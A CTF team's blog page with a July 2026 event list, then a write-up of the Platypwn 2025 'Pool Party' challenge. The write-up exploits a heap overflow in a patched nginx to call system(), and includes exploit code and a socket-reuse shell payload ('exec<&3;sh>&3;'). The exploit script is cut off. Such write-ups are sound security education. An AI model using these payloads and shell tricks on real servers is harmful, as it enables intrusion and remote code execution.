We_0wn_y0u

CTF Events for July

2026-07-12T00:00:00+02:00

Greetings hackers,

here's to hoping everyone is enjoying the summer so far with temperatures not (yet) as extreme as June. Safe and enjoyable travel wishes go out to everyone who decided to leave Vienna over the summer (i can't blame you). So what's in store for this month? Well we have our first A/D CTF of the year!

2026-07-18: ENOWARS join us for some Attack/Defense CTF fun, meeting at 13:00 at SBA ideally, CTF starts at 14:00.
2026-07-25: D^3CTF for our dose of Chinese CTF. Unfortunately this one starts at 14:00 and runs for 24h. We won't go for the full 24h (allegedly), but maybe lets meet at SBA for lunch and then CTF?
2026-08-01: L3akCTF back to our usual time of 10:00 at SBA.
2026-08-03: Next monthly meetup monday, 18:30 at SBA

Some general reminders:

We have all our events in a calendar, check it out at, you can also get a subscription link.
We typically follow low LLM policies at CTFs (using LLMs as glorified search engines at best)
SBA is at Floragasse 7, 5th Floor, 1040 Wien, all meeting times in current Vienna timezone

Platypwn 2025 - Pool Party

2025-11-21T00:00:00+01:00

Pool Party

“brrrrrrr” said the Platypus. It’s warm outside the water. “Time for a pool party”, it thinks. It has been a while since it met its fellow platypuses and a pool party is a clever idea to reunite. The Platypus decides to host a webserver to store the plans and figures that nginx is a good fit because it’s fast - almost as fast as the Platypus can use its 40000 electroreceptors on the bill to detect prey.

TL;DR

This challenges requires exploiting a modified nginx (/ɛn dʒɪŋks/, "en jinks") binary which added a handful of new functions, which can be found through the ngx_http_pp_ prefix.

We can exploit a Heap BOF (Buffer OverFlow) through missing size checks in the nginx function ngx_decode_base64 to overwrite a destructor inside the nginx Pool struct and get RIP & RDI control, which we use to extract the flag.

Overview

The first interesting thing about this challenge is that we don't get any attached files, which worried me for a bit, but after starting the instance we are immediately greeted with a nginx directory enumeration page that includes seemingly all the challenge files, so lets go through them.

.
|-- Dockerfile
|-- compose.yaml
|-- entrypoint.sh
|-- libc.so.6
|-- nginx.conf
`-- nginx

First of all we have the Dockerfile which installed the relevant dependencies and setups the correct file structure and users. It also defines what to execute on startup, which seems to be some entrypoint which will probably execute nginx -g "daemon off;" -c ./nginx.conf

Dockerfile

FROM ubuntu@sha256:35f3a8badf2f74c1b320a643b343536f5132f245cbefc40ef802b6203a166d04

RUN apt-get update && apt-get install -y zlib1g gdbserver \
    && rm -rf /var/lib/apt/lists/* \
    && groupadd -r ctf && useradd -r -g ctf ctf

USER ctf

WORKDIR /nginx
# Create directories for nginx
RUN mkdir modules conf logs

WORKDIR /challenge
COPY nginx.conf .
COPY --chmod=755 entrypoint.sh /entrypoint.sh
COPY --chmod=755 nginx .

ENTRYPOINT [ "/entrypoint.sh" ]
CMD ["/challenge/nginx", "-g", "daemon off;", "-c", "/challenge/nginx.conf"]

The entrypoint.sh just setups the flag file (without removing it from environ) and executes the provided CMD.

entrypoint.sh

#!/bin/sh

if [ -z "$FLAG" ]; then
    echo "FLAG must be set"
    exit 1
fi

echo "$FLAG" > /nginx/flag.txt

while true; do
    "$@"
done

And the compose.yaml just sets the flag and adds port forwarding. They also added the capability SYS_PTRACE, which we don't really need, but could be exploited for container escape. Also note that this isn't really needed as PTRACE_TRACEME doesn't need that capability and is used by gdbserver. One interesting thing though is that personality ADDR_NO_RANDOMIZE (disabling ASLR for one process only) can't be activated inside a docker container, without changing the seccomp sandbox json.

compose.yaml

services:
  poolparty:
    build: .
    ports:
      - "8080:8080"
    environment:
      - FLAG=PP{testflag}
    # Could be helpful for local debugging
    cap_add:
      - SYS_PTRACE

We also get the nginx configuration file nginx.conf, which seems to execute some custom nginx methode called platypus for the URLs /party and /restart.

nginx.conf

worker_processes 1;
events {}
error_log /dev/stderr;

http {
    server {
        listen 8080;
        access_log /dev/stdout;
        location / {
            alias /challenge/;
            autoindex on;
        }

        location /party {
            platypus;
        }

        location /restart {
            platypus;
        }
    }
}

And last but not least we have the nginx binary file nginx, which seems to be a nginx server (even though slightly patched to add new functionality).

$ vagd info nginx
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No
Comment:    GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0

Reversed Code:

int64_t ngx_http_pp_send_response_raw(int64_t arg1, int64_t arg2, int64_t arg3, void* arg4)

{
    void* fsbase;
    int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
    int64_t* rax_3 = ngx_palloc(*(uint64_t*)((char*)arg4 + 0x58), 0x50);
    int64_t result;

    if (rax_3)
    {
        *(uint64_t*)rax_3 = arg1;
        rax_3[1] = *(uint64_t*)rax_3 + arg2;
        rax_3[9] |= 2;
        rax_3[9] |= 0x80;
        int64_t* var_28 = rax_3;
        int64_t var_20_1 = 0;
        *(uint64_t*)((char*)arg4 + 0x210) = arg3;
        *(uint64_t*)((char*)arg4 + 0x2d8) = arg2;
        *(uint64_t*)((char*)arg4 + 0x2a8) = 0xa;
        *(uint64_t*)((char*)arg4 + 0x2b0) = "text/plain";
        int64_t result_1;

        if (!(*(uint8_t*)((char*)arg4 + 0x453) & 2))
            result_1 = ngx_http_send_header(arg4);

        if (*(uint8_t*)((char*)arg4 + 0x453) & 2 || !result_1)
        {
            int64_t result_2 = ngx_http_output_filter(arg4, &var_28);

            result = !result_2 ? 0 : result_2;
        }
        else
            result = result_1;
    }
    else
        result = -1;

    *(uint64_t*)((char*)fsbase + 0x28);

    if (rax == *(uint64_t*)((char*)fsbase + 0x28))
        return result;

    __stack_chk_fail();
    /* no return */
}


int64_t ngx_http_pp_send_response(char* msg, int64_t code, void* arg3)

{
    return ngx_http_pp_send_response_raw(msg, strlen(msg), code, arg3);
}


int64_t ngx_http_pp_cmd(void* arg1)

{
    int64_t rsi;
    int64_t var_28 = rsi;
    int64_t rdx;
    int64_t var_30 = rdx;
    **(uint64_t**)(*(uint64_t*)(*(uint64_t*)((char*)arg1 + 0x38) + 0x10)
        + (ngx_http_pp_module << 3)) = 1;
    *(uint64_t*)(*(uint64_t*)(*(uint64_t*)(*(uint64_t*)((char*)arg1 + 0x38) + 0x10)
        + (ngx_http_core_module << 3)) + 0x48) = ngx_http_pp_handler;
    return 0;
}


int64_t ngx_http_pp_party_get(void* arg1)

{
    if (party)
        return ngx_http_pp_send_response("Party is in progress", 200, arg1);

    return ngx_http_pp_send_response("Party is not in progress", 404, arg1);
}


int64_t ngx_http_pp_party_post(void* arg1)

{
    if (party)
        return ngx_http_pp_send_response("Party is already in progress", 0x195, arg1);

    party =
        ngx_create_pool(0x1000, *(uint64_t*)(*(uint64_t*)((char*)arg1 + 0x58) + 0x48));
    return ngx_http_pp_send_response("Party started", 200, arg1);
}


void* ngx_http_pp_party_add(uint64_t arg1)

{
    if (!*(uint64_t*)(arg1 + 0x2f8))
        return ngx_http_finalize_request(arg1, 0x1f4);

    int64_t count = 0;

    for (int64_t* i = *(uint64_t*)(*(uint64_t*)(arg1 + 0x2f8) + 8); i; i = i[1])
    {
        int64_t rax_24;

        if (*(uint8_t*)(*(uint64_t*)i + 0x48) & 1
                || *(uint8_t*)(*(uint64_t*)i + 0x48) & 2
                || *(uint8_t*)(*(uint64_t*)i + 0x48) & 4)
            rax_24 = *(uint64_t*)(*(uint64_t*)i + 8) - **(uint64_t**)i;
        else
            rax_24 = *(uint64_t*)(*(uint64_t*)i + 0x18)
                - *(uint64_t*)(*(uint64_t*)i + 0x10);

        count += rax_24;
    }

    char* platypus = ngx_palloc(party, 0x100);  // platypus

    if (platypus)
        return ngx_http_finalize_request(arg1, 
            ngx_http_pp_send_response_raw(platypus, 
                ngx_sprintf(platypus, "%z platypuses added to the party", count, 
                    "%z platypuses added to the party") - platypus, 
                201, arg1));

    return ngx_http_finalize_request(arg1, 500);
}


int64_t ngx_http_pp_party_put(void* arg1)

{
    if (!party)
        return ngx_http_pp_send_response(
            "You can't add Platypus to a non-existent party", 0x195, arg1);

    int64_t result = ngx_http_read_client_request_body(arg1, ngx_http_pp_party_add);

    if (result <= 0x12b)
        return -4;

    return result;
}


int64_t ngx_http_pp_party_delete(void* arg1)

{
    if (!party)
        return ngx_http_pp_send_response("Party is not in progress", 0x195, arg1);

    ngx_destroy_pool(party);
    party = 0;
    return ngx_http_pp_send_response("Party ended", 0xc8, arg1);
}


int64_t ngx_http_pp_handler(void* arg1)

{
    if (!strncmp(*(uint64_t*)((char*)arg1 + 0x340), "/party", 6))
    {
        if (*(uint64_t*)((char*)arg1 + 0x318) == 2)
            return ngx_http_pp_party_get(arg1);

        if (*(uint64_t*)((char*)arg1 + 0x318) == 8)
            return ngx_http_pp_party_post(arg1);

        if (*(uint64_t*)((char*)arg1 + 0x318) == 0x10)
            return ngx_http_pp_party_put(arg1);

        if (*(uint64_t*)((char*)arg1 + 0x318) == 0x20)
            return ngx_http_pp_party_delete(arg1);
    }

    if (strncmp(*(uint64_t*)((char*)arg1 + 0x340), "/restart", 8))
        return ngx_http_pp_send_response("There is no party here", 0x194, arg1);

    system("pkill nginx");
    return 0xc8;
}


int64_t ngx_http_pp_access_check(void* arg1)

{
    void* fsbase;
    int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
    int64_t result;

    if (!**(uint64_t**)(*(uint64_t*)((char*)arg1 + 0x28) + (ngx_http_pp_module << 3)))
        result = -5;
    else if (*(uint64_t*)((char*)arg1 + 0x138))
    {
        void* val = *(uint64_t*)((char*)arg1 + 0x138);
        int32_t rax_13;

        if (*(uint64_t*)((char*)val + 0x18) >= 7)
            rax_13 = strncmp(*(uint64_t*)((char*)val + 0x20), "Bearer ", 7);

        if (*(uint64_t*)((char*)val + 0x18) >= 7 && !rax_13)
        {
            char* rax_16 = ngx_palloc(*(uint64_t*)((char*)arg1 + 0x58), 0x1000);

            if (rax_16)
            {
                int64_t var_38 = *(uint64_t*)((char*)val + 0x18) - 7;
                int64_t var_30_1 = 7 + *(uint64_t*)((char*)val + 0x20);
                int64_t var_28 = 0x1000;
                char* var_20_1 = rax_16;

                if (!ngx_decode_base64(&var_28, &var_38))
                {
                    if (!strncmp(rax_16, "ornithorhynchus anatinus", 0x18))
                        result = -5;
                    else
                    {
                        char* rax_27 =
                            ngx_palloc(*(uint64_t*)((char*)arg1 + 0x58), 0x40);

                        if (rax_27)
                        {
                              memcpy(&rax_16[0x2a], "...", 4);
                            result = ngx_http_pp_send_response_raw(rax_27, 
                                ngx_sprintf(rax_27, "Token invalid: %s", rax_16, 
                                    "Token invalid: %s") - rax_27, 
                                0x191, arg1);
                        }
                        else
                            result = 0x1f4;
                    }
                }
                else
                    result = ngx_http_pp_send_response("Invalid token", 0x191, arg1);
            }
            else
                result = 0x1f4;
        }
        else
            result = 0x191;
    }
    else
        result = 0x191;

    *(uint64_t*)((char*)fsbase + 0x28);

    if (rax == *(uint64_t*)((char*)fsbase + 0x28))
        return result;

    __stack_chk_fail();
    /* no return */
}


int64_t ngx_http_pp_postconfiguration(void* arg1)

{
    int64_t (** rax_7)(void* arg1) = ngx_array_push(
        *(uint64_t*)(**(uint64_t**)((char*)arg1 + 0x38) + (ngx_http_core_module << 3))
        + 0x1d8);

    if (!rax_7)
        return -1;

    *(uint64_t*)rax_7 = ngx_http_pp_access_check;
    return 0;
}


int64_t* ngx_http_pp_create_loc_conf(void* arg1)

{
    int64_t* result = ngx_pcalloc(*(uint64_t*)((char*)arg1 + 0x18), 8);

    if (!result)
        return nullptr;

    *(uint64_t*)result = -1;
    return result;
}


int64_t ngx_http_pp_merge_loc_conf(int64_t arg1, int64_t* arg2, int64_t* arg3)

{
    int64_t var_20 = arg1;

    if (*(uint64_t*)arg3 == -1)
    {
        int64_t rax_7;

        if (*(uint64_t*)arg2 == -1)
            rax_7 = 0;
        else
            rax_7 = *(uint64_t*)arg2;

        *(uint64_t*)arg3 = rax_7;
    }

    return 0;
}

The relevant execution flow looks like this:

ngx_http_pp_access_check
└►ngx_http_pp_handler
  ├►ngx_http_pp_party_get
  ├►ngx_http_pp_party_post
  ├►ngx_http_pp_party_delete
  └►ngx_http_pp_party_put
    └►ngx_http_pp_party_add

To start exploiting we can create a basic template using this command

vagd template ./nginx 10.80.11.174 8080 -e --libs --image ubuntu@sha256:35f3a8badf2f74c1b320a643b343536f5132f245cbefc40ef802b6203a166d04

and then add some setup code

  if not vm:
    vm = Dogd(BINARY, image=BOX, symbols=True, libs=True, ex=True, fast=True,   
              files=['./nginx.conf'], packages=['zlib1g'], forward={'8080/tcp': 8080})  # Docker
  if vm.is_new:
    # additional setup here
    vm.system('sudo mkdir /nginx').recvall()
    vm.system('sudo chown vagd:sudo /nginx').recvall()
    vm.system('sudo mkdir /challenge').recvall()
    vm.system('sudo chown vagd:sudo /challenge').recvall()
    vm.system('mkdir /nginx/modules /nginx/conf /nginx/logs').recvall()
    vm.system('echo NOT_THE_FLAG > /nginx/flag.txt').recvall()
  else:
    vm.system('pkill nginx').recvall()
    vm.system('rm /challenge/flag.txt').recvall()

Vulnerabilities

Let's try to go through the code and find some vulnerabilities. The implemented HTTP method actually seem rather safe, notably because we don't really have a lot of user control. We can simply create a nginx memory pool party through POST, add new entries through PUT, which simply store %z platypuses added to the party, with %z being the content length, in a 0x100 sized buffer in the allocated memory pool party and finally delete the memory pool party which also deletes all related entries. Also GET simply returns if the party pool is currently allocated or not.

There actually isn't any conventional Heap vulnerability here, we don't have a double free, use after free or buffer overflow. Also we don't really have any user controllable parameters here.

So let's look at the only other promising part, ngx_http_pp_access_check:

This code seemingly checks for the existence of a Authorization header and access token, which should be base64 encoded ornithorhynchus anatinus (scientific name for platypus), but actually isn't done correctly and any token would work (this seems to be a oversight of the author). If we ignore CONTENT_LENGTH we actually receive more data afterwards, which correlates to the HTTP methods.

After the check ngx_http_pp_handler executes the correlated HTTP method.

ASLR Leaks

The first interesting issue is that ngx_http_pp_access_check allocates a buffer of size 0x1000 with char* token = ngx_palloc(request_pool, 0x1000); and then calls ngx_decode_base64(token, token_b64) (a function for which I didn't find any documentation online). Also if the token is invalid, the decoded token is returned after ngx_sprintf(buffer, "Token invalid: %s", token), this is interesting as we never enforce null byte termination. And by writing a simple PoC, we actually get a libc leak:

invalid_token = flat(b'Authorization: Bearer ', b64e(b'x').encode(), b'\r\n')
se(build_header('/party', 'GET', headers=[invalid_token]))
it()

So why does this happen? Let's try to understand how nginx pools work:

nginx pools

So how exactly do nginx pools work?

Let's allocate a memory pool using POST /party, allocate some parties using PUT and then look how the heap looks on follow up executions.

token = flat(b'Authorization: Bearer ', b64e(b'ornithorhynchus anatinus').encode(), b'\r\n')
se(build_header('/party', 'POST', headers=[token]))
ru(b'\r\n\r\n')

data = cyc(0x6f)
for i in range(0x8):
  se(build_header('/party', 'PUT', data, headers=[token]) + data)
  ru(b'\r\n\r\n')

se(build_header('/party', 'DELETE', headers=[token]))
ru(b'\r\n\r\n')
it()

The first thing you might notice is that using the pwndbg heap command actually doesn't work and tries to enumerate the heap from the wrong starting address:

pwndbg> heap
Addr: 0x5555556d3010
Size: 0x00 (with flag bits: 0x00)

But we can easily fix this by specifying the correct heap start 0x555555691000. This also confirms that nginx pools seem to be some abstraction layer above the libc allocator (in this case glibc ptmalloc) that chain multiple allocation together through pools.

pwndbg> heap 0x555555691000
Allocated chunk | PREV_INUSE
Addr: 0x555555691000
Size: 0x290 (with flag bits: 0x291)

...

Allocated chunk | PREV_INUSE
Addr: 0x555555697ce0
Size: 0x1010 (with flag bits: 0x1011)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555555698cf0
Size: 0x2020 (with flag bits: 0x2021)
fd: 0x7ffff7f54b20
bk: 0x7ffff7f54b20

Allocated chunk
Addr: 0x55555569ad10
Size: 0x1010 (with flag bits: 0x1010)

...

setting the correct breakpoints we actually see that 0x555555697ce0 is the buffer we allocated for the decoded authorization token.

tel 0x555555697cf0
00:0000│  0x555555697cf0 ◂— 0x726f6874696e726f ('ornithor')
01:0008│  0x555555697cf8 ◂— 0x20737568636e7968 ('hynchus ')
02:0010│  0x555555697d00 ◂— 0x73756e6974616e61 ('anatinus')

Also adjacent chunk is actually used for the memory pool 0x55555569ad10 which we can confirm because the PUT allocations are actually stored there:

pwndbg> search "111 platypuses added"
Searching for byte: b'111 platypuses added'
[heap]          0x55555569ad70 '111 platypuses added to the party'
[heap]          0x55555569ae70 '111 platypuses added to the party'
[heap]          0x55555569af70 '111 platypuses added to the party'
[heap]          0x55555569b070 '111 platypuses added to the party'
[heap]          0x55555569b170 '111 platypuses added to the party'
[heap]          0x55555569b270 '111 platypuses added to the party'
[heap]          0x55555569b370 '111 platypuses added to the party'
[heap]          0x55555569b470 '111 platypuses added to the party'

Excluding the heap header, we see that some sort of metadata is stored at the top of the memory pool, which will be important for exploitation.

pwndbg> tel 0x55555569ad20 12
00:0000│  0x55555569ad20 —▸ 0x55555569b570 ◂— 0
01:0008│  0x55555569ad28 —▸ 0x55555569bd20 ◂— 0
02:0010│  0x55555569ad30 ◂— 0
03:0018│  0x55555569ad38 ◂— 0
04:0020│  0x55555569ad40 ◂— 0xfb0
05:0028│  0x55555569ad48 —▸ 0x55555569ad20 —▸ 0x55555569b570 ◂— 0
06:0030│  0x55555569ad50 ◂— 0
... ↓     2 skipped
09:0048│  0x55555569ad68 —▸ 0x555555691fa0 ◂— 4
0a:0050│  0x55555569ad70 ◂— '111 platypuses added to the party'
0b:0058│  0x55555569ad78 ◂— 'ypuses added to the party'

So knowing that we are dealing with glibc ptmalloc, our leak is due to a large bin leaking it's linked list through uninitialised memory. So knowing this we can modify our PoC to also leak heap:

leak_libc_token = flat(b'Authorization: Bearer ', b64e(b'x').encode(), b'\r\n')
leak_heap_token = flat(b'Authorization: Bearer ', b64e(cyc(0x11)).encode(), b'\r\n')

se(build_header('/party', 'GET', headers=[leak_libc_token]))
ru(b'invalid: x')
libc.address = (upad(ru(b'Party', drop=True)) << 8) - 0x204200
lhex(libc.address, "libc")

se(build_header('/party', 'GET', headers=[leak_heap_token]))
ru(b'invalid: ' + cyc(0x11))
HEAP = (upad(ru(b'Party', drop=True)) << 8)
lhex(HEAP, "heap")

Heap BOF

So now we have ASLR leaks, but how to we get RCE? Remembering the execution, we see that we allocated a buffer of size 0x1000 for the decoded token, but what happens if we send more than that?

se(build_header('/party', 'POST', 
                headers=[b'Authorization: Bearer ', b64e(cyc(0x2000)).encode(), b'\r\n']))
ru(b'\r\n\r\n')

Well sadly we get:

<html>
<head><title>400 Request Header Or Cookie Too Large</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
<center>Request Header Or Cookie Too Large</center>
<hr><center>nginx/1.28.0</center>
</body>
</html>

Ok, but what happens if only send slight more

se(build_header('/party', 'POST', 
                headers=[b'Authorization: Bearer ', b64e(cyc(0x1200)).encode(), b'\r\n']))
ru(b'\r\n\r\n')

That's a bingo! We have a heap BOF:

pwndbg> heap 0x555555691000
...
Allocated chunk | PREV_INUSE
Addr: 0x55555569bd10
Size: 0x1010 (with flag bits: 0x1011)

Free chunk (unsortedbin) | IS_MMAPED
Addr: 0x55555569cd20
Size: 0x6164706261637060 (with flag bits: 0x6164706261637062)
fd: 0x6166706261657062
bk: 0x6168706261677062
...

and shortly after we trigger a exception: malloc(): invalid size (unsorted) triggering SIGABRT.

So what if we try to allocate something into the unsorted bin, through our memory pool, then trigger the BOF?

se(build_header('/party', 'POST', headers=[token]))
ru(b'\r\n\r\n')

bof = flat({
  0x1010: [
    0x1020, 
    0x1011,
  ],               
}, length=0x1200)

se(build_header('/party', 'POST', 
                headers=[b'Authorization: Bearer ', b64e(bof).encode(), b'\r\n']))
ru(b'\r\n\r\n')

Interesting we don't crash, now let's try to free the corrupted memory pool with DELETE.

se(build_header('/party', 'DELETE', headers=[token]))
ru(b'\r\n\r\n')

Interesting, we try to dereference RAX, which we control through our BOF and if it isn't zero we EXECUTE it with OFFSET 8 BEING RDI!!!

──────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────
 RAX  0x617a706261797062 ('bpyabpza')
───────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────
 ► 0x555555571815 <ngx_destroy_pool+34>    mov    rax, qword ptr [rax]     <Cannot dereference [0x617a706261797062]>
   0x555555571818 <ngx_destroy_pool+37>    test   rax, rax
   0x55555557181b <ngx_destroy_pool+40>    je     ngx_destroy_pool+62         <ngx_destroy_pool+62>

   0x55555557181d <ngx_destroy_pool+42>    mov    rax, qword ptr [rbp - 8]
   0x555555571821 <ngx_destroy_pool+46>    mov    rdx, qword ptr [rax]
   0x555555571824 <ngx_destroy_pool+49>    mov    rax, qword ptr [rbp - 8]
   0x555555571828 <ngx_destroy_pool+53>    mov    rax, qword ptr [rax + 8]
   0x55555557182c <ngx_destroy_pool+57>    mov    rdi, rax
   0x55555557182f <ngx_destroy_pool+60>    call   rdx
────────────────────────────────────[ DECOMP ]─────────────────────────────────────
   0x555555571842 <ngx_destroy_pool+79>  for (int64_t* i = *(arg1 + 0x40); i != 0; i = i[2])
 ► 0x55555557181b <ngx_destroy_pool+40>      if (*i != 0)
   0x55555557182f <ngx_destroy_pool+60>          (*i)(i[1])
───────────────────────────────────[ BACKTRACE ]───────────────────────────────────
 ► 0   0x555555571815 ngx_destroy_pool+34
   1   0x55555563f8fe ngx_http_pp_party_delete+72
   2   0x55555563f9e0 ngx_http_pp_handler+186
───────────────────────────────────────────────────────────────────────────────────

So basically all we have to do is set RAX to a controlled region inside our heap, and fill it with [system, "CMD TO EXECUTE;"]

Exploitation

So naturally we modify our exploit to call system("CMD") which works locally.

se(build_header('/party', 'POST', headers=[token]))
ru(b'\r\n\r\n')

CMD = b'cp /nginx/flag.txt /challenge/flag.txt;'
bof = flat({
  0: [
    libc.sym.system,
    HEAP+OFF+0x10,
  ],
  0x10: CMD
  0x1010: [
    0x1020, 
    0x1011,
  ],
  0x1010+0x50: HEAP+OFF              
}, length=0x1200)

se(build_header('/party', 'POST', 
                headers=[b'Authorization: Bearer ', b64e(bof).encode(), b'\r\n']))
ru(b'\r\n\r\n')
se(build_header('/party', 'DELETE', headers=[token]))
ru(b'\r\n\r\n')

Sadly though when we try to run it against the remote instance it doesn't work :(. This seems to happens because we have a different Heap offset. So let's try to run it against the locally running instance with compose.yaml. Now we notice something even worse: We have a different heap offset once again! Adjusting for the heap base we get:

  HEAP -= (0x9200 if args.LOCAL else 0x9400) if args.REMOTE else 0x8d00

This happens even though we restart the nginx binary (and therefore heap) before running the exploit:

se(build_header('/restart', 'GET', headers=[token]))
cl()

So how do we fix this? Luckily the offsets don't seem too big between REMOTE and local execution. Additionally we know that the BOF is relative (so no issues there) and we have about 0x1000 bytes to spray the data we need. Also all the offsets are at least 0x10 aligned. So we use the first 0x800 bytes to spray our CMD payload, and the next 0x800 to spray the RIP+RDI control struct:

  cmd = b'cp /nginx/flag.txt /challenge/flag.txt;'

  OFF = 0x9000+0x200*i
  bof = flat({
    0x00: cmd*((0x800//len(cmd))),
    0x800: [libc.sym.system, HEAP + OFF]*0x80,
    0x1010: [
      0x1020, 
      0x1011,
      [HEAP + OFF + 0x800] * 0x10
    ],       
    0x1010+0x50: [HEAP + OFF + 0x800]
  }, length=0x1200)

  # c 2 
  se(build_header('/party', 'POST', 
                  headers=[b'Authorization: Bearer ', b64e(bof).encode(), b'\r\n']))
  ru(b'\r\n\r\n')

Now all we have left to do is retrieve the flag:

  t = get_target() if args.REMOTE else remote('localhost', 8080) 
  se(build_header('/flag.txt', 'GET', headers=[token]))
  ru(b'\r\n\r\n')
  flag = rls(t)
  print(flag)

Getting Shell

After the CTF ended I played around with this challenge (and fileserver) to try and get an interactive shell through the open socket. In the fileserver challenge, we extracted the flag like this ./readflag>&5;, which basically uses the sh syntax to forward output (from stdout) to file descriptor 5 (which is our client socket). So naturally I tried something like this sh>&5<&5; to get a fully interactive shell, which sadly didn't work and throws the error: sh: 1: Syntax error: redirection unexpected

But from testing I saw that sh<&5; works, and we can extract data by e.g. executing id >&5;. This is a bit cumbersome, so after some research I found that you can setup persistent pipes with exec >out.log. Using this information I can now setup a global pipe exec>&5; and a temporary one with the shell command sh<&5; and I get a fully interactive shell through the open socket (without requiring e.g. outgoing internet connections like for reverse shells). Combined we execute exec>&5;sh<&5;

Now we can port this technique to our nginx server. One easy way to find out the correct file descriptors is to either halt the process using gdb, or execute sleep inf; and enumerate the file descriptors using sudo ls -l /proc/PID/fd. Here we can see that fd 3 is the client socket fd and 6 probably the binded socket, which we conclude through the higher (client socket) and lower (bind socket) inode number.

sudo ls -l /proc/$(pgrep -f "sleep inf")/fd
lrwx------ 1 999 999 64 Nov 21 13:39 0 -> /dev/null
l-wx------ 1 999 999 64 Nov 21 13:39 1 -> 'pipe:[182217]'
l-wx------ 1 999 999 64 Nov 21 13:39 2 -> 'pipe:[182218]'
lrwx------ 1 999 999 64 Nov 21 13:39 3 -> 'socket:[249876]'
lrwx------ 1 999 999 64 Nov 21 13:39 6 -> 'socket:[246975]'
lrwx------ 1 999 999 64 Nov 21 13:39 8 -> 'anon_inode:[eventpoll]'
lrwx------ 1 999 999 64 Nov 21 13:39 9 -> 'anon_inode:[eventfd]'

and we get a interactive shell:

  cmd = b'exec<&3;sh>&3;'

  OFF = 0x9000+0x200*i
  bof = flat({
    0x00: cmd*((0x800//len(cmd))),
    0x800: [libc.sym.system, HEAP + OFF]*0x80,
    0x1010: [
      0x1020, 
      0x1011,
    ],       
    0x1010+0x50: [HEAP + OFF + 0x800]
  }, length=0x1200)

  # c 2 
  se(build_header('/party', 'POST', 
                  headers=[b'Authorization: Bearer ', b64e(bof).encode(), b'\r\n']))
  ru(b'\r\n\r\n')

  se(build_header('/party', 'DELETE', headers=[token]))
  try:
    sl('echo PWN; id; cat /nginx/flag.txt;')
    ru('PWN')
    it()
  except EOFError:
    cl()
    continue

Note: as it is important that both commands get executed in order so we need change the order to exec<&3;sh>&3; making sh terminate if stdout doesn't exist due to the missing pipe and stdin being /dev/null by default. Alternatively we can spray a command sled (e.g. true;) and at the end execute the payload.

Final Exploit

exploit.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ vagd template ./nginx 10.80.11.174 8080 -e --libs --image ubuntu@sha256:35f3a8badf2f74c1b320a643b343536f5132f245cbefc40ef802b6203a166d04
from pwn import *


GOFF   = 0x555555554000                               # GDB default base address
IP     = '127.0.00.1' if args.LOCAL else '127.0.00.1' # remote IP
PORT   = 8081 if args.LOCAL else 8080                 # remote PORT
BINARY = './nginx'                                    # PATH to local binary
ARGS   = ['-g', 'daemon off;', '-c', '/home/vagd/nginx.conf']  # ARGS supplied to binary
ENV    = {}                                           # ENV supplied to binary
BOX    = 'ubuntu@sha256:35f3a8badf2f74c1b320a643b343536f5132f245cbefc40ef802b6203a166d04' # Docker box image

# GDB SCRIPT, executed at start of GDB session (e.g. set breakpoints here)
GDB    = f"""
set follow-fork-mode child

hb * system

c"""

context.binary = exe = ELF(BINARY, checksec=False)    # binary
context.aslr = False                                  # ASLR enabled (only GDB)

# abbreviations
cst = constants
shc = shellcraft

# logging
linfo = lambda x, *a: log.info(x, *a)
lwarn = lambda x, *a: log.warn(x, *a)
lerr  = lambda x, *a: log.error(x, *a)
lprog = lambda x, *a: log.progress(x, *a)
lhex  = lambda x, y="leak": linfo(f"{x:#018x} <- {y}")
phex  = lambda x, y="leak": print(f"{x:#018x} <- {y}")

# type manipulation
byt   = lambda x: x if isinstance(x, (bytes, bytearray)) else f"{x}".encode()
rpad  = lambda x, s=8, v=b"\0": x.ljust(s, v)
lpad  = lambda x, s=8, v=b"\0": x.rjust(s, v)
hpad  = lambda x, s=0: f"%0{s if s else ((x.bit_length() // 8) + 1) * 2}x" % x
upad  = lambda x: u64(rpad(x))
cpad  = lambda x, s: byt(x) + cyc(s)[len(byt(x)):]
tob   = lambda x: bytes.fromhex(hpad(x))

# elf aliases
gelf  = lambda elf=None: elf if elf else exe
srh   = lambda x, elf=None: gelf(elf).search(byt(x)).__next__()
sasm  = lambda x, elf=None: gelf(elf).search(asm(x), executable=True).__next__()
lsrh  = lambda x: srh(x, libc)
lasm  = lambda x: sasm(x, libc)

# cyclic aliases
cyc = lambda x: cyclic(x)
cfd = lambda x: cyclic_find(x)
cto = lambda x: cyc(cfd(x))

# tube aliases
t   = None
gt  = lambda at=None: at if at else t
sl  = lambda x, t=None, *a, **kw: gt(t).sendline(byt(x), *a, **kw)
se  = lambda x, t=None, *a, **kw: gt(t).send(byt(x), *a, **kw)
ss  = (
        lambda x, s, t=None, *a, **kw: sl(x, t, *a, **kw)
        if len(x) < s
        else se(x, *a, **kw)
          if len(x) == s
          else lerr(f"ss to big: {len(x):#x} > {s:#x}")
      )
sla = lambda x, y, t=None, *a, **kw: gt(t).sendlineafter(
        byt(x), byt(y), *a, **kw
      )
sa  = lambda x, y, t=None, *a, **kw: gt(t).sendafter(byt(x), byt(y), *a, **kw)
sas = (
        lambda x, y, s, t=None, *a, **kw: sla(x, y, t, *a, **kw)
        if len(y) < s
        else sa(x, y, *a, **kw)
          if len(y) == s
          else lerr(f"ss to big: {len(x):#x} > {s:#x}")
      )
ra  = lambda t=None, *a, **kw: gt(t).recvall(*a, **kw)
rl  = lambda t=None, *a, **kw: gt(t).recvline(*a, **kw)
rls = lambda t=None, *a, **kw: rl(t=t, *a, **kw)[:-1]
rcv = lambda x, t=None, *a, **kw: gt(t).recv(x, *a, **kw)
ru  = lambda x, t=None, *a, **kw: gt(t).recvuntil(byt(x), *a, **kw)
it  = lambda t=None, *a, **kw: gt(t).interactive(*a, **kw)
cl  = lambda t=None, *a, **kw: gt(t).close(*a, **kw)


# setup vagd vm
vm = None
def setup():
  global vm
  if args.REMOTE or args.LOCAL:
    return None

  try:
    # only load vagd if needed
    from vagd import Dogd, Box
  except ModuleNotFoundError:
